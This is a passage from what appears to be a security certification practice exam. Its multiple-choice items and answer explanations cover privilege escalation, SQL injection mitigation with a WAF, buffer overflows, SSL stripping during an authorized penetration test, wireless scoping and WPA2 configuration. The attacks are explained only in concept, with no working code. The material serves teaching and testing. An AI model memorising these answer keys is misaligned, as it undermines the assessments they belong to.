B. Phishing
C. Social engineering
D. Session hijacking
A. Privilege escalation
Explanation
OBJ-5.2: The use of long query strings points to a buffer overflow attack, and the sudo command confirms the elevated privileges after the attack. This indicates a privilege escalation has occurred. While the other three options may have been used as an initial access vector, they cannot be confirmed based on the question’s details. Only a privilege escalation is currently verified within the scenario due to the use of sudo.
Riaan’s company runs critical web applications. During a vulnerability scan, Riaan found a serious SQL injection vulnerability in one of their web applications. The system cannot be taken offline to remediate the vulnerability. Which of the following compensating controls should Riaan recommend using until the system can be remediated?
A. IPS
B. WAF
C. Vulnerability scanning
D. Encryption
B. WAF
Explanation
OBJ-5.3: WAF (web application firewall) is the best option since it can serve as a compensating control and protect against web application vulnerabilities like an SQL injection until the application can be fully remediated. Vulnerability scanning could only be used to detect the issue. Therefore, it is a detective control, not a compensating control. Encryption would not be effective in stopping an SQL injection. An IPS is designed to protected network devices based on ports, protocols, and signatures. It would not be effective against an SQL injection and is not considered a compensating control for this vulnerability.
Lamont is in the process of debugging a software program. As he examines the code, he discovers that it is miswritten. Due to the error, the code does not validate a variable’s size before allowing the information to be written into memory. Based on Lamont’s discovery, what type of attack might occur?
A. SQL injection
B. Cross-site scripting
C. Malicious logic
D. Buffer overflow
D. Buffer overflow
Explanation
OBJ-5.2: A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) than it was intended to hold. Since buffers are created to contain a finite amount of data, the extra information can cause an overflow into adjacent buffers, corrupting or overwriting the valid data held in them. Although it may occur accidentally through programming error, buffer overflow is an increasingly common security attack on data integrity. In buffer overflow attacks, the extra data may contain codes designed to trigger specific actions, in effect sending new instructions to the attacked computer that could, for example, damage the user’s files, change data, or disclose confidential information. Programs should use the variable size validation before writing the data to memory to ensure that the variable can fit into the buffer to prevent this type of attack.
You are conducting a penetration test against an organization. You created an evil twin of their wireless network. Many of the organization’s laptops are now connected to your evil twin access point. You want to capture all of the victim’s web browsing traffic in an unencrypted format during your attack. Which of the following exploits should you utilize to meet this goal?
A. Perform a deauthentication attack
B. Perform an SSL downgrade attack
C. Perform a man-in-the-middle attack
D. Perform an SSL stripping attack
D. Perform an SSL stripping attack
Explanation
OBJ-6.1: An SSL stripping attack, also known as an HTTP downgrade attack, forces the client to communicate with the webserver in plain text (unencrypted) over HTTP instead of HTTPS. Both SSL downgrade and SSL stripping attacks are used to force the victim into using a weaker encryption mechanism (SSL downgrade to SSL-based HTTPS) or no encryption (SSL stripping to HTTP) for its web traffic.
You have been contracted to conduct a wireless penetration test for a corporate client. Which of the following should be documented and agreed upon in the scoping documents before you begin your assessment?
A. The make and model of the wireless access points used by the client
B. The number of wireless access points and devices used by the client
C. The frequencies of the wireless access points and devices used by the client
D. The network diagrams with the SSIDs of the wireless access points used by the client
C. The frequencies of the wireless access points and devices used by the client
Explanation
OBJ-6.1: To ensure you are not accidentally targeting another organization’s wireless infrastructure during your penetration test, you should have the frequencies of the wireless access points and devices used by the client documented in the scoping documents. This would include whether your clients use Wireless A, B, G, N, or AC and if they are using the 2.4 GHz or 5.0 GHz spectrum if they are using Wireless N or AC.
You are installing a new wireless network in your office building and want to ensure it is secure. Which of the following configurations would create the MOST secure wireless network?
A. WPA2 and AES
B. WPA and MAC filtering
C. WEP and TKIP
D. WPA2 and RC4
A. WPA2 and AES
Explanation
OBJ-6.1: The most secure wireless network configuration utilizes WPA2 with AES encryption. WPA2 is the most secure wireless encryption standard, as it has replaced both WPA and WEP. AES is a robust encryption algorithm that is used by default in the WPA2 standard.
